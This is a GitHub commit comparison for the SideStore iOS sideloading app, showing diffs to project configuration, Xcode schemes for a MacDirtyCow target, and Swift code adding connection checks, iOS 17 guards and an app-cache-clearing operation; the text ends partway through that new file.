mirror of
https://github.com/SideStore/SideStore.git
synced 2026-04-03 09:15:40 +02:00
Compare commits
56 Commits
0.5.1
...
junepark67
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
f013e956b3 | ||
|
|
0e9deea7a6 | ||
|
|
42ecd38517 | ||
|
|
9f7d4dee49 | ||
|
|
458b8e491e | ||
|
|
495e621e69 | ||
|
|
c986512b5f | ||
|
|
d277754ae5 | ||
|
|
2ef2e2f26b | ||
|
|
23a53034fa | ||
|
|
ce57d72a78 | ||
|
|
502b89d890 | ||
|
|
5f0015fad0 | ||
|
|
c81236957b | ||
|
|
970ab38b27 | ||
|
|
8a5c31b81d | ||
|
|
8508fe79b5 | ||
|
|
3859e98801 | ||
|
|
a759c7be9e | ||
|
|
12fc6cf6e2 | ||
|
|
580db6530e | ||
|
|
9c67c237ee | ||
|
|
357d85a72e | ||
|
|
88ad828ce0 | ||
|
|
a95625a34a | ||
|
|
95e00d81f5 | ||
|
|
c2e386a5c5 | ||
|
|
a76aade4ff | ||
|
|
65c9986103 | ||
|
|
9e2b9b6639 | ||
|
|
cf373634d7 | ||
|
|
b3d5d976b4 | ||
|
|
c3c31995ce | ||
|
|
7e92e17429 | ||
|
|
88ab8fa8d7 | ||
|
|
ebe78932bf | ||
|
|
2e613e6d15 | ||
|
|
35ee92db12 | ||
|
|
04d9f760ad | ||
|
|
4f52743be8 | ||
|
|
32cae7a5b2 | ||
|
|
c2c0e3b790 | ||
|
|
6d36a30787 | ||
|
|
48a86ec6de | ||
|
|
5cff914ff3 | ||
|
|
70ea725ce3 | ||
|
|
78f12e45f9 | ||
|
|
e5061acc20 | ||
|
|
2d7bc51d30 | ||
|
|
9128b67ee8 | ||
|
|
551c004476 | ||
|
|
ed6a8d1379 | ||
|
|
766fb89e0b | ||
|
|
c5b8cb4459 | ||
|
|
0deae92829 | ||
|
|
cc5d2f1813 |
2
.github/CODEOWNERS
vendored
2
.github/CODEOWNERS
vendored
@@ -1 +1 @@
|
||||
* @JoeMatt @lonkelle
|
||||
* @JoeMatt @lonkelle @nythepegasus @Spidy123222 @SternXD
|
||||
|
||||
1
.github/workflows/stable.yml
vendored
1
.github/workflows/stable.yml
vendored
@@ -3,6 +3,7 @@ on:
|
||||
push:
|
||||
tags:
|
||||
- '[0-9]+.[0-9]+.[0-9]+' # example: 1.0.0
|
||||
workflow_dispatch:
|
||||
|
||||
jobs:
|
||||
build:
|
||||
|
||||
2
.gitmodules
vendored
2
.gitmodules
vendored
@@ -9,7 +9,7 @@
|
||||
url = https://github.com/libimobiledevice/libusbmuxd.git
|
||||
[submodule "Dependencies/libplist"]
|
||||
path = Dependencies/libplist
|
||||
url = https://github.com/libimobiledevice/libplist.git
|
||||
url = https://github.com/SideStore/libplist.git
|
||||
[submodule "Dependencies/MarkdownAttributedString"]
|
||||
path = Dependencies/MarkdownAttributedString
|
||||
url = https://github.com/chockenberry/MarkdownAttributedString.git
|
||||
|
||||
@@ -5,9 +5,9 @@
|
||||
"color-space" : "srgb",
|
||||
"components" : {
|
||||
"alpha" : "1.000",
|
||||
"blue" : "0.518",
|
||||
"green" : "0.502",
|
||||
"red" : "0.004"
|
||||
"blue" : "175",
|
||||
"green" : "4",
|
||||
"red" : "115"
|
||||
}
|
||||
},
|
||||
"idiom" : "universal"
|
||||
@@ -23,9 +23,9 @@
|
||||
"color-space" : "srgb",
|
||||
"components" : {
|
||||
"alpha" : "1.000",
|
||||
"blue" : "0.404",
|
||||
"green" : "0.322",
|
||||
"red" : "0.008"
|
||||
"blue" : "150",
|
||||
"green" : "3",
|
||||
"red" : "99"
|
||||
}
|
||||
},
|
||||
"idiom" : "universal"
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,67 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<Scheme
|
||||
LastUpgradeVersion = "1420"
|
||||
version = "1.3">
|
||||
<BuildAction
|
||||
parallelizeBuildables = "YES"
|
||||
buildImplicitDependencies = "YES">
|
||||
<BuildActionEntries>
|
||||
<BuildActionEntry
|
||||
buildForTesting = "YES"
|
||||
buildForRunning = "YES"
|
||||
buildForProfiling = "YES"
|
||||
buildForArchiving = "YES"
|
||||
buildForAnalyzing = "YES">
|
||||
<BuildableReference
|
||||
BuildableIdentifier = "primary"
|
||||
BlueprintIdentifier = "BDE94B3D2B15EEDA00B506A1"
|
||||
BuildableName = "MacDirtyCow.framework"
|
||||
BlueprintName = "MacDirtyCow"
|
||||
ReferencedContainer = "container:AltStore.xcodeproj">
|
||||
</BuildableReference>
|
||||
</BuildActionEntry>
|
||||
</BuildActionEntries>
|
||||
</BuildAction>
|
||||
<TestAction
|
||||
buildConfiguration = "Debug"
|
||||
selectedDebuggerIdentifier = "Xcode.DebuggerFoundation.Debugger.LLDB"
|
||||
selectedLauncherIdentifier = "Xcode.DebuggerFoundation.Launcher.LLDB"
|
||||
shouldUseLaunchSchemeArgsEnv = "YES">
|
||||
<Testables>
|
||||
</Testables>
|
||||
</TestAction>
|
||||
<LaunchAction
|
||||
buildConfiguration = "Debug"
|
||||
selectedDebuggerIdentifier = "Xcode.DebuggerFoundation.Debugger.LLDB"
|
||||
selectedLauncherIdentifier = "Xcode.DebuggerFoundation.Launcher.LLDB"
|
||||
launchStyle = "0"
|
||||
useCustomWorkingDirectory = "NO"
|
||||
ignoresPersistentStateOnLaunch = "NO"
|
||||
debugDocumentVersioning = "YES"
|
||||
debugServiceExtension = "internal"
|
||||
allowLocationSimulation = "YES">
|
||||
</LaunchAction>
|
||||
<ProfileAction
|
||||
buildConfiguration = "Release"
|
||||
shouldUseLaunchSchemeArgsEnv = "YES"
|
||||
savedToolIdentifier = ""
|
||||
useCustomWorkingDirectory = "NO"
|
||||
debugDocumentVersioning = "YES">
|
||||
<MacroExpansion>
|
||||
<BuildableReference
|
||||
BuildableIdentifier = "primary"
|
||||
BlueprintIdentifier = "BDE94B3D2B15EEDA00B506A1"
|
||||
BuildableName = "MacDirtyCow.framework"
|
||||
BlueprintName = "MacDirtyCow"
|
||||
ReferencedContainer = "container:AltStore.xcodeproj">
|
||||
</BuildableReference>
|
||||
</MacroExpansion>
|
||||
</ProfileAction>
|
||||
<AnalyzeAction
|
||||
buildConfiguration = "Debug">
|
||||
</AnalyzeAction>
|
||||
<ArchiveAction
|
||||
buildConfiguration = "Release"
|
||||
revealArchiveInOrganizer = "YES">
|
||||
</ArchiveAction>
|
||||
</Scheme>
|
||||
@@ -0,0 +1,78 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<Scheme
|
||||
LastUpgradeVersion = "1420"
|
||||
version = "1.3">
|
||||
<BuildAction
|
||||
parallelizeBuildables = "YES"
|
||||
buildImplicitDependencies = "YES">
|
||||
<BuildActionEntries>
|
||||
<BuildActionEntry
|
||||
buildForTesting = "YES"
|
||||
buildForRunning = "YES"
|
||||
buildForProfiling = "YES"
|
||||
buildForArchiving = "YES"
|
||||
buildForAnalyzing = "YES">
|
||||
<BuildableReference
|
||||
BuildableIdentifier = "primary"
|
||||
BlueprintIdentifier = "BDE94A972B15E4D300B506A1"
|
||||
BuildableName = "SideStore MacDirtyCow.app"
|
||||
BlueprintName = "SideStore MacDirtyCow"
|
||||
ReferencedContainer = "container:AltStore.xcodeproj">
|
||||
</BuildableReference>
|
||||
</BuildActionEntry>
|
||||
</BuildActionEntries>
|
||||
</BuildAction>
|
||||
<TestAction
|
||||
buildConfiguration = "Debug"
|
||||
selectedDebuggerIdentifier = "Xcode.DebuggerFoundation.Debugger.LLDB"
|
||||
selectedLauncherIdentifier = "Xcode.DebuggerFoundation.Launcher.LLDB"
|
||||
shouldUseLaunchSchemeArgsEnv = "YES">
|
||||
<Testables>
|
||||
</Testables>
|
||||
</TestAction>
|
||||
<LaunchAction
|
||||
buildConfiguration = "Debug"
|
||||
selectedDebuggerIdentifier = "Xcode.DebuggerFoundation.Debugger.LLDB"
|
||||
selectedLauncherIdentifier = "Xcode.DebuggerFoundation.Launcher.LLDB"
|
||||
launchStyle = "0"
|
||||
useCustomWorkingDirectory = "NO"
|
||||
ignoresPersistentStateOnLaunch = "NO"
|
||||
debugDocumentVersioning = "YES"
|
||||
debugServiceExtension = "internal"
|
||||
allowLocationSimulation = "YES">
|
||||
<BuildableProductRunnable
|
||||
runnableDebuggingMode = "0">
|
||||
<BuildableReference
|
||||
BuildableIdentifier = "primary"
|
||||
BlueprintIdentifier = "BDE94A972B15E4D300B506A1"
|
||||
BuildableName = "SideStore MacDirtyCow.app"
|
||||
BlueprintName = "SideStore MacDirtyCow"
|
||||
ReferencedContainer = "container:AltStore.xcodeproj">
|
||||
</BuildableReference>
|
||||
</BuildableProductRunnable>
|
||||
</LaunchAction>
|
||||
<ProfileAction
|
||||
buildConfiguration = "Release"
|
||||
shouldUseLaunchSchemeArgsEnv = "YES"
|
||||
savedToolIdentifier = ""
|
||||
useCustomWorkingDirectory = "NO"
|
||||
debugDocumentVersioning = "YES">
|
||||
<BuildableProductRunnable
|
||||
runnableDebuggingMode = "0">
|
||||
<BuildableReference
|
||||
BuildableIdentifier = "primary"
|
||||
BlueprintIdentifier = "BDE94A972B15E4D300B506A1"
|
||||
BuildableName = "SideStore MacDirtyCow.app"
|
||||
BlueprintName = "SideStore MacDirtyCow"
|
||||
ReferencedContainer = "container:AltStore.xcodeproj">
|
||||
</BuildableReference>
|
||||
</BuildableProductRunnable>
|
||||
</ProfileAction>
|
||||
<AnalyzeAction
|
||||
buildConfiguration = "Debug">
|
||||
</AnalyzeAction>
|
||||
<ArchiveAction
|
||||
buildConfiguration = "Release"
|
||||
revealArchiveInOrganizer = "YES">
|
||||
</ArchiveAction>
|
||||
</Scheme>
|
||||
@@ -90,14 +90,21 @@ private extension AppIDsViewController
|
||||
cell.bannerView.button.isUserInteractionEnabled = false
|
||||
|
||||
cell.bannerView.buttonLabel.isHidden = false
|
||||
|
||||
|
||||
let currentDate = Date()
|
||||
|
||||
let numberOfDays = expirationDate.numberOfCalendarDays(since: currentDate)
|
||||
let numberOfDaysText = (numberOfDays == 1) ? NSLocalizedString("1 day", comment: "") : String(format: NSLocalizedString("%@ days", comment: ""), NSNumber(value: numberOfDays))
|
||||
cell.bannerView.button.setTitle(numberOfDaysText.uppercased(), for: .normal)
|
||||
let formatter = DateComponentsFormatter()
|
||||
formatter.unitsStyle = .full
|
||||
formatter.includesApproximationPhrase = false
|
||||
formatter.includesTimeRemainingPhrase = false
|
||||
formatter.allowedUnits = [.minute, .hour, .day]
|
||||
formatter.maximumUnitCount = 1
|
||||
|
||||
attributedAccessibilityLabel.mutableString.append(String(format: NSLocalizedString("Expires in %@.", comment: ""), numberOfDaysText) + " ")
|
||||
cell.bannerView.button.setTitle((formatter.string(from: currentDate, to: expirationDate) ?? NSLocalizedString("Unknown", comment: "")).uppercased(), for: .normal)
|
||||
|
||||
// formatter.includesTimeRemainingPhrase = true
|
||||
|
||||
// attributedAccessibilityLabel.mutableString.append((formatter.string(from: currentDate, to: expirationDate) ?? NSLocalizedString("Unknown", comment: "")) + " ")
|
||||
}
|
||||
else
|
||||
{
|
||||
|
||||
@@ -8,6 +8,7 @@
|
||||
|
||||
import UIKit
|
||||
|
||||
import minimuxer
|
||||
import AltStoreCore
|
||||
import Roxas
|
||||
|
||||
@@ -264,7 +265,13 @@ private extension BrowseViewController
|
||||
previousProgress?.cancel()
|
||||
return
|
||||
}
|
||||
|
||||
|
||||
if !minimuxer.ready() {
|
||||
let toastView = ToastView(error: MinimuxerError.NoConnection)
|
||||
toastView.show(in: self)
|
||||
return
|
||||
}
|
||||
|
||||
_ = AppManager.shared.install(app, presentingViewController: self) { (result) in
|
||||
DispatchQueue.main.async {
|
||||
switch result
|
||||
|
||||
@@ -81,7 +81,7 @@ final class LaunchViewController: RSTLaunchViewController, UIDocumentPickerDeleg
|
||||
} else {
|
||||
// Show an alert explaining the pairing file
|
||||
// Create new Alert
|
||||
let dialogMessage = UIAlertController(title: "Pairing File", message: "Select the pairing file for your device. For more information, go to https://wiki.sidestore.io/guides/install#pairing-process", preferredStyle: .alert)
|
||||
let dialogMessage = UIAlertController(title: "Pairing File", message: "Select the pairing file for your device. For more information, go to https://wiki.sidestore.io/guides/getting-started/#pairing-file", preferredStyle: .alert)
|
||||
|
||||
// Create OK button with action handler
|
||||
let ok = UIAlertAction(title: "OK", style: .default, handler: { (action) -> Void in
|
||||
@@ -155,7 +155,12 @@ final class LaunchViewController: RSTLaunchViewController, UIDocumentPickerDeleg
|
||||
try! FileManager.default.removeItem(at: FileManager.default.documentsDirectory.appendingPathComponent("\(pairingFileName)"))
|
||||
displayError("minimuxer failed to start, please restart SideStore. \((error as? LocalizedError)?.failureReason ?? "UNKNOWN ERROR!!!!!! REPORT TO GITHUB ISSUES!")")
|
||||
}
|
||||
start_auto_mounter(documentsDirectory)
|
||||
if #available(iOS 17, *) {
|
||||
// TODO: iOS 17 and above have a new JIT implementation that is completely broken in SideStore :(
|
||||
}
|
||||
else {
|
||||
start_auto_mounter(documentsDirectory)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -307,6 +307,16 @@ extension AppManager
|
||||
presentingViewController.present(alertController, animated: true, completion: nil)
|
||||
}
|
||||
}
|
||||
|
||||
func clearAppCache(completion: @escaping (Result<Void, Error>) -> Void)
|
||||
{
|
||||
let clearAppCacheOperation = ClearAppCacheOperation()
|
||||
clearAppCacheOperation.resultHandler = { result in
|
||||
completion(result)
|
||||
}
|
||||
|
||||
self.run([clearAppCacheOperation], context: nil)
|
||||
}
|
||||
}
|
||||
|
||||
extension AppManager
|
||||
@@ -754,6 +764,12 @@ extension AppManager
|
||||
let progress = self.refreshProgress[app.bundleIdentifier]
|
||||
return progress
|
||||
}
|
||||
|
||||
func isActivelyManagingApp(withBundleID bundleID: String) -> Bool
|
||||
{
|
||||
let isActivelyManaging = self.installationProgress.keys.contains(bundleID) || self.refreshProgress.keys.contains(bundleID)
|
||||
return isActivelyManaging
|
||||
}
|
||||
}
|
||||
|
||||
extension AppManager
|
||||
@@ -808,12 +824,6 @@ private extension AppManager
|
||||
}
|
||||
}
|
||||
|
||||
func isActivelyManagingApp(withBundleID bundleID: String) -> Bool
|
||||
{
|
||||
let isActivelyManaging = self.installationProgress.keys.contains(bundleID) || self.refreshProgress.keys.contains(bundleID)
|
||||
return isActivelyManaging
|
||||
}
|
||||
|
||||
@discardableResult
|
||||
private func perform(_ operations: [AppOperation], presentingViewController: UIViewController?, group: RefreshGroup) -> RefreshGroup
|
||||
{
|
||||
@@ -948,7 +958,13 @@ private extension AppManager
|
||||
}
|
||||
else
|
||||
{
|
||||
DispatchQueue.main.schedule {
|
||||
UIApplication.shared.isIdleTimerDisabled = UserDefaults.standard.isIdleTimeoutDisableEnabled
|
||||
}
|
||||
performAppOperations()
|
||||
DispatchQueue.main.schedule {
|
||||
UIApplication.shared.isIdleTimerDisabled = false
|
||||
}
|
||||
}
|
||||
|
||||
return group
|
||||
@@ -1027,6 +1043,32 @@ private extension AppManager
|
||||
verifyOperation.addDependency(downloadOperation)
|
||||
|
||||
|
||||
/* Refresh Anisette Data */
|
||||
let refreshAnisetteDataOperation = FetchAnisetteDataOperation(context: group.context)
|
||||
refreshAnisetteDataOperation.resultHandler = { (result) in
|
||||
switch result
|
||||
{
|
||||
case .failure(let error): context.error = error
|
||||
case .success(let anisetteData): group.context.session?.anisetteData = anisetteData
|
||||
}
|
||||
}
|
||||
refreshAnisetteDataOperation.addDependency(verifyOperation)
|
||||
|
||||
|
||||
/* Fetch Provisioning Profiles */
|
||||
let fetchProvisioningProfilesOperation = FetchProvisioningProfilesOperation(context: context)
|
||||
fetchProvisioningProfilesOperation.additionalEntitlements = additionalEntitlements
|
||||
fetchProvisioningProfilesOperation.resultHandler = { (result) in
|
||||
switch result
|
||||
{
|
||||
case .failure(let error): context.error = error
|
||||
case .success(let provisioningProfiles): context.provisioningProfiles = provisioningProfiles
|
||||
}
|
||||
}
|
||||
fetchProvisioningProfilesOperation.addDependency(refreshAnisetteDataOperation)
|
||||
progress.addChild(fetchProvisioningProfilesOperation.progress, withPendingUnitCount: 5)
|
||||
|
||||
|
||||
/* Deactivate Apps (if necessary) */
|
||||
let deactivateAppsOperation = RSTAsyncBlockOperation { [weak self] (operation) in
|
||||
do
|
||||
@@ -1042,6 +1084,12 @@ private extension AppManager
|
||||
{
|
||||
throw error
|
||||
}
|
||||
|
||||
guard let profiles = context.provisioningProfiles else { throw OperationError.invalidParameters }
|
||||
if !profiles.contains(where: { $1.isFreeProvisioningProfile == true }) {
|
||||
operation.finish()
|
||||
return
|
||||
}
|
||||
|
||||
guard let app = context.app, let presentingViewController = context.authenticatedContext.presentingViewController else { throw OperationError.invalidParameters }
|
||||
|
||||
@@ -1061,7 +1109,7 @@ private extension AppManager
|
||||
operation.finish()
|
||||
}
|
||||
}
|
||||
deactivateAppsOperation.addDependency(verifyOperation)
|
||||
deactivateAppsOperation.addDependency(fetchProvisioningProfilesOperation)
|
||||
|
||||
|
||||
/* Patch App */
|
||||
@@ -1136,32 +1184,6 @@ private extension AppManager
|
||||
patchAppOperation.addDependency(deactivateAppsOperation)
|
||||
|
||||
|
||||
/* Refresh Anisette Data */
|
||||
let refreshAnisetteDataOperation = FetchAnisetteDataOperation(context: group.context)
|
||||
refreshAnisetteDataOperation.resultHandler = { (result) in
|
||||
switch result
|
||||
{
|
||||
case .failure(let error): context.error = error
|
||||
case .success(let anisetteData): group.context.session?.anisetteData = anisetteData
|
||||
}
|
||||
}
|
||||
refreshAnisetteDataOperation.addDependency(patchAppOperation)
|
||||
|
||||
|
||||
/* Fetch Provisioning Profiles */
|
||||
let fetchProvisioningProfilesOperation = FetchProvisioningProfilesOperation(context: context)
|
||||
fetchProvisioningProfilesOperation.additionalEntitlements = additionalEntitlements
|
||||
fetchProvisioningProfilesOperation.resultHandler = { (result) in
|
||||
switch result
|
||||
{
|
||||
case .failure(let error): context.error = error
|
||||
case .success(let provisioningProfiles): context.provisioningProfiles = provisioningProfiles
|
||||
}
|
||||
}
|
||||
fetchProvisioningProfilesOperation.addDependency(refreshAnisetteDataOperation)
|
||||
progress.addChild(fetchProvisioningProfilesOperation.progress, withPendingUnitCount: 5)
|
||||
|
||||
|
||||
/* Resign */
|
||||
let resignAppOperation = ResignAppOperation(context: context)
|
||||
resignAppOperation.resultHandler = { (result) in
|
||||
@@ -1171,7 +1193,7 @@ private extension AppManager
|
||||
case .success(let resignedApp): context.resignedApp = resignedApp
|
||||
}
|
||||
}
|
||||
resignAppOperation.addDependency(fetchProvisioningProfilesOperation)
|
||||
resignAppOperation.addDependency(patchAppOperation)
|
||||
progress.addChild(resignAppOperation.progress, withPendingUnitCount: 20)
|
||||
|
||||
|
||||
@@ -1214,7 +1236,7 @@ private extension AppManager
|
||||
progress.addChild(installOperation.progress, withPendingUnitCount: 30)
|
||||
installOperation.addDependency(sendAppOperation)
|
||||
|
||||
let operations = [downloadOperation, verifyOperation, deactivateAppsOperation, patchAppOperation, refreshAnisetteDataOperation, fetchProvisioningProfilesOperation, resignAppOperation, sendAppOperation, installOperation]
|
||||
let operations = [downloadOperation, verifyOperation, refreshAnisetteDataOperation, fetchProvisioningProfilesOperation, deactivateAppsOperation, patchAppOperation, resignAppOperation, sendAppOperation, installOperation]
|
||||
group.add(operations)
|
||||
self.run(operations, context: group.context)
|
||||
|
||||
|
||||
@@ -15,6 +15,7 @@ import UniformTypeIdentifiers
|
||||
import AltStoreCore
|
||||
import AltSign
|
||||
import Roxas
|
||||
import minimuxer
|
||||
|
||||
import Nuke
|
||||
|
||||
@@ -328,21 +329,25 @@ private extension MyAppsViewController
|
||||
let currentDate = Date()
|
||||
|
||||
let numberOfDays = installedApp.expirationDate.numberOfCalendarDays(since: currentDate)
|
||||
let numberOfDaysText: String
|
||||
|
||||
if numberOfDays == 1
|
||||
{
|
||||
numberOfDaysText = NSLocalizedString("1 day", comment: "")
|
||||
}
|
||||
else
|
||||
{
|
||||
numberOfDaysText = String(format: NSLocalizedString("%@ days", comment: ""), NSNumber(value: numberOfDays))
|
||||
}
|
||||
let formatter = DateComponentsFormatter()
|
||||
formatter.unitsStyle = .full
|
||||
formatter.includesApproximationPhrase = false
|
||||
formatter.includesTimeRemainingPhrase = false
|
||||
|
||||
formatter.allowedUnits = [.day, .hour, .minute]
|
||||
|
||||
formatter.maximumUnitCount = 1
|
||||
|
||||
|
||||
|
||||
cell.bannerView.button.setTitle(formatter.string(from: currentDate, to: installedApp.expirationDate)?.uppercased(), for: .normal)
|
||||
|
||||
cell.bannerView.button.setTitle(numberOfDaysText.uppercased(), for: .normal)
|
||||
cell.bannerView.button.accessibilityLabel = String(format: NSLocalizedString("Refresh %@", comment: ""), installedApp.name)
|
||||
|
||||
cell.bannerView.accessibilityLabel? += ". " + String(format: NSLocalizedString("Expires in %@", comment: ""), numberOfDaysText)
|
||||
|
||||
formatter.includesTimeRemainingPhrase = true
|
||||
|
||||
cell.bannerView.accessibilityLabel? += ". " + (formatter.string(from: currentDate, to: installedApp.expirationDate) ?? NSLocalizedString("Unknown", comment: "")) + " "
|
||||
|
||||
// Make sure refresh button is correct size.
|
||||
cell.layoutIfNeeded()
|
||||
@@ -640,6 +645,12 @@ private extension MyAppsViewController
|
||||
|
||||
@IBAction func refreshAllApps(_ sender: UIBarButtonItem)
|
||||
{
|
||||
if !minimuxer.ready() {
|
||||
let toastView = ToastView(error: MinimuxerError.NoConnection)
|
||||
toastView.show(in: self)
|
||||
return
|
||||
}
|
||||
|
||||
self.isRefreshingAllApps = true
|
||||
self.collectionView.collectionViewLayout.invalidateLayout()
|
||||
|
||||
@@ -702,6 +713,12 @@ private extension MyAppsViewController
|
||||
|
||||
@IBAction func sideloadApp(_ sender: UIBarButtonItem)
|
||||
{
|
||||
if !minimuxer.ready() {
|
||||
let toastView = ToastView(error: MinimuxerError.NoConnection)
|
||||
toastView.show(in: self)
|
||||
return
|
||||
}
|
||||
|
||||
let supportedTypes = UTType.types(tag: "ipa", tagClass: .filenameExtension, conformingTo: nil)
|
||||
|
||||
let documentPickerViewController = UIDocumentPickerViewController(forOpeningContentTypes: supportedTypes, asCopy: true)
|
||||
@@ -1006,6 +1023,12 @@ private extension MyAppsViewController
|
||||
|
||||
func refresh(_ installedApp: InstalledApp)
|
||||
{
|
||||
if !minimuxer.ready() {
|
||||
let toastView = ToastView(error: MinimuxerError.NoConnection)
|
||||
toastView.show(in: self)
|
||||
return
|
||||
}
|
||||
|
||||
let previousProgress = AppManager.shared.refreshProgress(for: installedApp)
|
||||
guard previousProgress == nil else {
|
||||
previousProgress?.cancel()
|
||||
@@ -1027,6 +1050,12 @@ private extension MyAppsViewController
|
||||
|
||||
func activate(_ installedApp: InstalledApp)
|
||||
{
|
||||
if !minimuxer.ready() {
|
||||
let toastView = ToastView(error: MinimuxerError.NoConnection)
|
||||
toastView.show(in: self)
|
||||
return
|
||||
}
|
||||
|
||||
func finish(_ result: Result<InstalledApp, Error>)
|
||||
{
|
||||
do
|
||||
@@ -1103,6 +1132,11 @@ private extension MyAppsViewController
|
||||
func deactivate(_ installedApp: InstalledApp, completionHandler: ((Result<InstalledApp, Error>) -> Void)? = nil)
|
||||
{
|
||||
guard installedApp.isActive else { return }
|
||||
if !minimuxer.ready() {
|
||||
let toastView = ToastView(error: MinimuxerError.NoConnection)
|
||||
toastView.show(in: self)
|
||||
return
|
||||
}
|
||||
installedApp.isActive = false
|
||||
|
||||
AppManager.shared.deactivate(installedApp, presentingViewController: self) { (result) in
|
||||
@@ -1164,6 +1198,11 @@ private extension MyAppsViewController
|
||||
|
||||
func backup(_ installedApp: InstalledApp)
|
||||
{
|
||||
if !minimuxer.ready() {
|
||||
let toastView = ToastView(error: MinimuxerError.NoConnection)
|
||||
toastView.show(in: self)
|
||||
return
|
||||
}
|
||||
let title = NSLocalizedString("Start Backup?", comment: "")
|
||||
let message = NSLocalizedString("This will replace any previous backups. Please leave SideStore open until the backup is complete.", comment: "")
|
||||
|
||||
@@ -1203,6 +1242,11 @@ private extension MyAppsViewController
|
||||
|
||||
func restore(_ installedApp: InstalledApp)
|
||||
{
|
||||
if !minimuxer.ready() {
|
||||
let toastView = ToastView(error: MinimuxerError.NoConnection)
|
||||
toastView.show(in: self)
|
||||
return
|
||||
}
|
||||
let message = String(format: NSLocalizedString("This will replace all data you currently have in %@.", comment: ""), installedApp.name)
|
||||
let alertController = UIAlertController(title: NSLocalizedString("Are you sure you want to restore this backup?", comment: ""), message: message, preferredStyle: .actionSheet)
|
||||
alertController.addAction(.cancel)
|
||||
@@ -1306,6 +1350,16 @@ private extension MyAppsViewController
|
||||
@available(iOS 14, *)
|
||||
func enableJIT(for installedApp: InstalledApp)
|
||||
{
|
||||
if #available(iOS 17, *) {
|
||||
let toastView = ToastView(error: OperationError.tooNewError)
|
||||
toastView.show(in: self)
|
||||
return
|
||||
}
|
||||
if !minimuxer.ready() {
|
||||
let toastView = ToastView(error: MinimuxerError.NoConnection)
|
||||
toastView.show(in: self)
|
||||
return
|
||||
}
|
||||
AppManager.shared.enableJIT(for: installedApp) { result in
|
||||
DispatchQueue.main.async {
|
||||
switch result
|
||||
@@ -1313,7 +1367,7 @@ private extension MyAppsViewController
|
||||
case .success: break
|
||||
case .failure(let error):
|
||||
let toastView = ToastView(error: error)
|
||||
toastView.show(in: self)
|
||||
toastView.show(in: self.navigationController?.view ?? self.view, duration: 5)
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1460,7 +1514,7 @@ extension MyAppsViewController
|
||||
let registeredAppIDs = team.appIDs.count
|
||||
|
||||
let maximumAppIDCount = 10
|
||||
let remainingAppIDs = max(maximumAppIDCount - registeredAppIDs, 0)
|
||||
let remainingAppIDs = maximumAppIDCount - registeredAppIDs
|
||||
|
||||
if remainingAppIDs == 1
|
||||
{
|
||||
@@ -1471,7 +1525,7 @@ extension MyAppsViewController
|
||||
footerView.textLabel.text = String(format: NSLocalizedString("%@ App IDs Remaining", comment: ""), NSNumber(value: remainingAppIDs))
|
||||
}
|
||||
|
||||
footerView.textLabel.isHidden = false
|
||||
footerView.textLabel.isHidden = remainingAppIDs < 0
|
||||
|
||||
case .individual, .organization, .unknown: footerView.textLabel.isHidden = true
|
||||
@unknown default: break
|
||||
|
||||
@@ -12,6 +12,7 @@ import Network
|
||||
|
||||
import AltStoreCore
|
||||
import AltSign
|
||||
import minimuxer
|
||||
|
||||
enum AuthenticationError: LocalizedError
|
||||
{
|
||||
@@ -239,7 +240,7 @@ final class AuthenticationOperation: ResultOperation<(ALTTeam, ALTCertificate, A
|
||||
}
|
||||
|
||||
let activeAppsMinimumVersion = OperatingSystemVersion(majorVersion: 13, minorVersion: 3, patchVersion: 1)
|
||||
if team.type == .free, ProcessInfo.processInfo.isOperatingSystemAtLeast(activeAppsMinimumVersion)
|
||||
if team.type == .free, ProcessInfo.processInfo.isOperatingSystemAtLeast(activeAppsMinimumVersion), !UserDefaults.standard.isMDCEnabled
|
||||
{
|
||||
UserDefaults.standard.activeAppsLimit = ALTActiveAppsLimit
|
||||
}
|
||||
@@ -593,7 +594,7 @@ private extension AuthenticationOperation
|
||||
|
||||
func registerCurrentDevice(for team: ALTTeam, session: ALTAppleAPISession, completionHandler: @escaping (Result<ALTDevice, Error>) -> Void)
|
||||
{
|
||||
guard let udid = Bundle.main.object(forInfoDictionaryKey: Bundle.Info.deviceID) as? String else {
|
||||
guard let udid = fetch_udid()?.toString() else {
|
||||
return completionHandler(.failure(OperationError.unknownUDID))
|
||||
}
|
||||
|
||||
|
||||
@@ -105,8 +105,13 @@ final class BackgroundRefreshAppsOperation: ResultOperation<[String: Result<Inst
|
||||
} catch {
|
||||
self.finish(.failure(error))
|
||||
}
|
||||
start_auto_mounter(documentsDirectory)
|
||||
|
||||
if #available(iOS 17, *) {
|
||||
// TODO: iOS 17 and above have a new JIT implementation that is completely broken in SideStore :(
|
||||
}
|
||||
else {
|
||||
start_auto_mounter(documentsDirectory)
|
||||
}
|
||||
|
||||
self.managedObjectContext.perform {
|
||||
print("Apps to refresh:", self.installedApps.map(\.bundleIdentifier))
|
||||
|
||||
|
||||
@@ -55,9 +55,8 @@ class BackupAppOperation: ResultOperation<Void>
|
||||
let appName = installedApp.name
|
||||
self.appName = appName
|
||||
|
||||
guard let altstoreApp = InstalledApp.fetchAltStore(in: context) else { throw OperationError.appNotFound }
|
||||
let altstoreOpenURL = altstoreApp.openAppURL
|
||||
|
||||
let altstoreOpenURL = URL(string: "sidestore://")!
|
||||
|
||||
var returnURLComponents = URLComponents(url: altstoreOpenURL, resolvingAgainstBaseURL: false)
|
||||
returnURLComponents?.host = "appBackupResponse"
|
||||
guard let returnURL = returnURLComponents?.url else { throw OperationError.openAppFailed(name: appName) }
|
||||
|
||||
208
AltStore/Operations/ClearAppCacheOperation.swift
Normal file
208
AltStore/Operations/ClearAppCacheOperation.swift
Normal file
@@ -0,0 +1,208 @@
|
||||
//
|
||||
// ClearAppCacheOperation.swift
|
||||
// AltStore
|
||||
//
|
||||
// Created by Riley Testut on 9/27/22.
|
||||
// Copyright © 2022 Riley Testut. All rights reserved.
|
||||
//
|
||||
|
||||
import Foundation
|
||||
import AltStoreCore
|
||||
/*
|
||||
struct BatchError: ALTLocalizedError
|
||||
{
|
||||
|
||||
enum Code: Int, ALTErrorCode
|
||||
{
|
||||
typealias Error = BatchError
|
||||
|
||||
case batchError
|
||||
}
|
||||
|
||||
var code: Code = .batchError
|
||||
var underlyingErrors: [Error]
|
||||
|
||||
var errorTitle: String?
|
||||
var errorFailure: String?
|
||||
|
||||
init(errors: [Error])
|
||||
{
|
||||
self.underlyingErrors = errors
|
||||
}
|
||||
|
